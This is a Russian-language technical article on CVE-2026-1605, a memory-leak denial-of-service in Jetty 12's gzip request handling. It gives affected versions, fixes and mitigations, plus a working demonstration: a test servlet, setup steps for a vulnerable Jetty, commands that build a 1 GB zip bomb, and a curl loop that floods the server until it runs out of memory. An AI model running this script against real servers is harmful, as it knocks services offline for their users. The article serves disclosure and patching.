Март, Jetty и утекшая память
За окном весна, на улице уже вовсю и ярко светит солнце, поют птички и тает последний снег. А в знаменитом сервере Jetty обнаружилась новая дыра космических масштабов.
Статус
Номер уязвимости: CVE-2026-1605
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Уровень: 7.5 HIGH
acidburn96: хочешь фокус покажу
alex0x08: только не как в прошлый раз ж)
acidburn96: стенд проекта [вырезаноцензурой] еще работает?
alex0x08: работает, пока еще не успели снести
acidburn96: открой его в браузере
alex0x08: и где стенд? куда все делось?
Уязвимость
Еще в январе 2026 года в проекте Eclipse Jetty — такой очень известный сервлет-контейнер для Java, была обнаружена серьезная проблема с обработкой сжатых входящих запросов.
Догадываюсь, что далеко не всем из читателей известно о том что помимо сжатых ответов (статику сжимают наверное все), бывают еще и сжатые запросы к веб-серверам, поэтому вот тут немного больше информации о таком замечательном функционале.
Как бы то ни было, в начале марта информация по этой проблеме была выложена в публичный доступ.
Правда без PoC и с весьма мутным описанием:
The leak is created by requests where the request is inflated (Content-Encoding: gzip) and the response is not deflated (noAccept-Encoding: gzip). In these conditions, a new inflator will be created byGzipRequestand never released back intoGzipRequest.__inflaterPoolbecausegzipRequest.destory()is not called.
Что впрочем не помешало восстановить логику работы по одним только коммитам с исправлениями.
при обработке входящих запросов к серверу с заголовком Content-Encoding: gzip и сжатым содержимым, в некоторых случаях происходит утечка памяти.
Чтобы это сработало, необходимо чтобы клиент присылал только заголовок Content-Encoding: gzip, но не присылал Accept-Encoding: gzip, по наличию которого включается сжатие ответов.
Надо заметить, что в обычной жизни такая комбинация невозможна и например Google Chrome отправляет заголовок Accept-Encoding: gzip всегда, вне зависимости от того сжат ли запрос.
Зона риска
Хотя проблема затрагивает только 12ю версию Jetty, но зато все релизы с 2023 года и по март 2026го, страшные красные плашки на артефактах вот тут не дадут соврать.
Поскольку Jetty чаще всего используется как встраиваемый движок, а не отдельно устанавливаемое приложение — в зоне риска все проекты, которые использовали или используют артефакт jetty-server за последние три года.
Что-то около четырех с половиной тысяч проектов, согласно статистике.
Но есть что-то и хорошее во всем этом бесконечном мраке ужаса и отчаяния:
обработка сжатых запросов и ответов по-умолчанию выключена и требует отдельной настройки.
Правда эта настройка чуть ли не первое, что включают на реальном продакшне при сколь-нибудь существенной нагрузке, но не будем снова о грустном.
Исправление
На момент написания этих строк, проблема уже исправлена.
Для ветки 12.1.х начиная с 12.1.6, для более ранней и стабильной 12.0.х — начиная с 12.0.32.
Если в вашем проекте Jetty используется в виде зависимости, вроде:
<dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-server</artifactId>
<version>12.1.5</version>
</dependency>Достаточно лишь изменить версию на исправленную и обновиться.
Но на свете существует еще и такая зверская вещь как Spring Boot — огромный современный фреймворк, который давно стал стандартом «де-факто» для всей бекэнд-разработки на Java.
Spring Boot активно использует Jetty в качестве одного из главных сервлет-контейнеров:
Версии Spring Boot с исправленным Jetty начинаются с 4.0.3, но обновлять сам Spring Boot — то еще приключение.
Так что для многих весна станет очень тяжелой.
Демонстрация
Описание уязвимости это конечно хорошо, но к сожалению серьезных дыр стало настолько много в последнее время, что глаз безопасника замылился — уже не реагирует на проблемы слабее RCE и статуса «Critical».
Так что было решено провести демонстрацию — собрать уязвимый стенд и попробовать его завалить.
Может хоть это заставит кого-то из читателей обновиться.
Тестовое приложение
Поскольку Jetty это только сервлет-контейнер, HTTP-запросы все равно должны обрабатываться каким-нибудь конечным сервлетом.
Поэтому для проверки уязвимости был сотворен вот такой простейший сервлет:
package com.Ox08.vuln.cve20261605;
import jakarta.servlet.ServletInputStream;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
/*
Простейший сервлет для демонстрации CVE-2026-1605
*/
@WebServlet("/yo")
public class TestServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws IOException {
resp.setContentType("text/plain");
PrintWriter out = resp.getWriter();
out.printf("Request at: %d%n", System.currentTimeMillis());
try (ServletInputStream in = req.getInputStream()) {
// вызов чтения данных запустит распаковку запроса
byte[] data = in.readAllBytes();
out.printf("Request size: %d%n", data.length);
}
}
}Все что делает код выше это лишь чтение тела POST-запроса и отдача двух строк как «plain text»: таймстампа запроса и размера полученных данных.
Тут нет ни сложной потоковой обработки, ни Mutipart-запросов — все гораздо проще, отчего и страшнее.
Собрать можно любой средой разработки для Java, хоть что-то знающей о сервлетах, например в Intellij Idea.
Тестовый Jetty
Помимо тестового приложения, необходима еще и уязвимая версия Jetty.
Для чистоты эксперимента, была взята версия 12.1.5 , последняя в ветке 12.1.х до исправления, которую можно скачать тут.
wget https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-home/12.1.5/jetty-home-12.1.5.zip unzip jetty-home-12.1.5.zip
Следующим шагом необходимо подготовить рабочий каталог Jetty, поскольку с недавних пор сервер Jetty с библиотеками и скриптами отделен от рабочей области, в которой происходит развертывание веб-приложений:
mkdir jetty-work cd jetty-work export JETTY_HOME=../jetty-home-12.1.5
java -jar $JETTY_HOME/start.jar --add-modules=server,http,ee11-deploy,ee11-jsp
java -jar $JETTY_HOME/start.jar --add-modules=gzip
Тут стоит заметить, что модуль gzip начиная с версии 12.1.х помечен как «deprecated» т. е. устаревший, с предложением перехода на его замену — модуль compression-gzip.
Но во-первых это Jetty непонятно как долго продлится такой переход, во-вторых более старую версию 12.0.х никто не отменял — ее поддержка точно продолжится минимум на этот год.
В третьих, в наш век погони за метриками и красивыми отчетами, в порядке вещей специально глушить сообщения об устаревании, как поступили для примера парни из Spring.
После добавления, модуль gzip еще надо дополнительно настроить, для чего задаем следующие настройки в файле $JETTY_HOME/start.d/gzip.ini:
## Minimum content length after which gzip is enabled jetty.gzip.minGzipSize=32 ## Inflate request buffer size, or 0 for no request inflation jetty.gzip.inflateBufferSize=4096 ## Comma separated list of included HTTP methods jetty.gzip.includedMethodList=GET,POST
Дополнительно я еще включил логирование через Logback:
java -jar $JETTY_HOME/start.jar --add-modules=logging-logback
Поскольку по какой-то причине стандартный JCL не хотел работать с сообщениями из модуля gzip.
После добавления модуля, появится файл resources/logback.xml с настройками логирования по-умолчанию.
Внутрь необходимо добавить строку:
<logger name="org.eclipse.jetty.server.handler.gzip" level="DEBUG" />
Копируем наше тестовое приложение gziptest.war в каталог $JETTY_HOME/webapps и наконец запускаем наш уязвимый Jetty:
java -jar $JETTY_HOME/start.jar
Теперь переходим к формированию специального запроса-убийцы.
Запрос-убийца
Шатать так шатать, для демонстрации процесса была подготовлена классическая ZIP-бомба — огромный пустой файл, который будучи сжатым имеет смешные размеры, но при распаковке создает массу веселья.
Так выглядит процесс создания:
dd if=/dev/zero of=./1g.bin bs=1G count=1 gzip ./1g.bin
А так — сам скрипт «бомбометания»:
#!/bin/bash export TARGET=http://localhost:8080/gziptest/yo for i in `seq 1 2000000`; do curl -v -s --data-binary @1g.bin.gz -H "Content-Encoding: gzip" $TARGET; done
Он сознательно сделан максимально простым, без участия сети, без параллельных запросов и генерации контента — чтобы можно было показать быстрый рост используемой памяти — ту самую утечку.
Запускаем и буквально после второго же запроса наблюдаем OOM:
Про OutOfMemory
Теперь наверное стоит сделать лирическое отступление и пояснить общественности саму проблематику ошибки OutOfMemoryError.
Поведение приложения на Java при утечке памяти достаточно сильно отличается от аналогичного, например на Golang или C++.
Отличается отнюдь не в лучшую сторону.
Если в аналогичной ситуации с утечкой памяти сервис на Golang просто и банально упадет, позволив отработать watchdog, то сервис, реализованный на Java и словивший OOM.. продолжит работать.
Какие-то запросы (если они помещаются в остатки памяти) продолжат отрабатывать и отдаваться пользователям, какие-то — начнут порождать ошибки.
Если использовался шаблонизатор страниц вроде JSP/JSF с частичной компиляцией и кешированием — то что попало в кеш до OOM продолжит работать, если использовался Thymeleaf или Freemaker то скорее всего все сразу сломается.
Тоже самое с Hibernate ORM и запросами к СУБД — то что успело закешироваться продолжит работать и отдавать данные, то что нет — будет порождать самые разнообразные ошибки с удивительными трассировками, о которых не знает даже Google и нейросети.
Появятся ошибки записи в файлы, ошибки чтения, ошибки транзакций — в Java (в обычных проектах) все это просто не рассчитано на работу при OOM.
Думаю несложно догадаться, что при таких вводных даже реализация «сторожевого пса» (Watchdog) для сервиса на Java представляет проблему.
Доходит до того, что реализации watchdog вешают свои обработчики непосредственно на ошибку OutOfMemoryError, по которой убивают процесс и запускают заново.
Поэтому OOM для Java это что-то вроде Ахиллесовой пяты — мелкая ерунда, которая может убить великана.
Причем не сразу насмерть, а долго и мучительно.
Эпилог
Стоит только добавить заголовок Accept-Encoding: gzip к запросу и все замечательно работает:
export TARGET=http://localhost:8080/gziptest/yo curl -v -s --data-binary @1g.xml.gz -H "Content-Type: text/xml" -H "Accept-Encoding: gzip" -H "Content-Encoding: gzip" $TARGET;
Наш запрос-убийца сразу стал белым и пушистым — никаких OutOfMemory больше нет, ответы уходят, память очищается:
Напоследок покажу, как выглядит утечка в профайлере VisualVM:
Рекомендации
Помимо традиционных «предохраняться», «перестать пить» и «сменить профессию» стоит порекомендовать хотя-бы иногда просматривать обзоры свежих уязвимостей, дабы оценить применимость к вашей собственной инфраструктуре.
Что же касается конкретно CVE-2026-1605, есть несколько вариантов:
- Банальным образом обновиться до исправленных версий;
- Отключить проблемый модуль
gzip, перенеся игры с сжатием на уровень Nginx, который обычно ставится перед Jetty; - В случае Spring Boot добавить в конфигурацию:
server.compression.enabled=false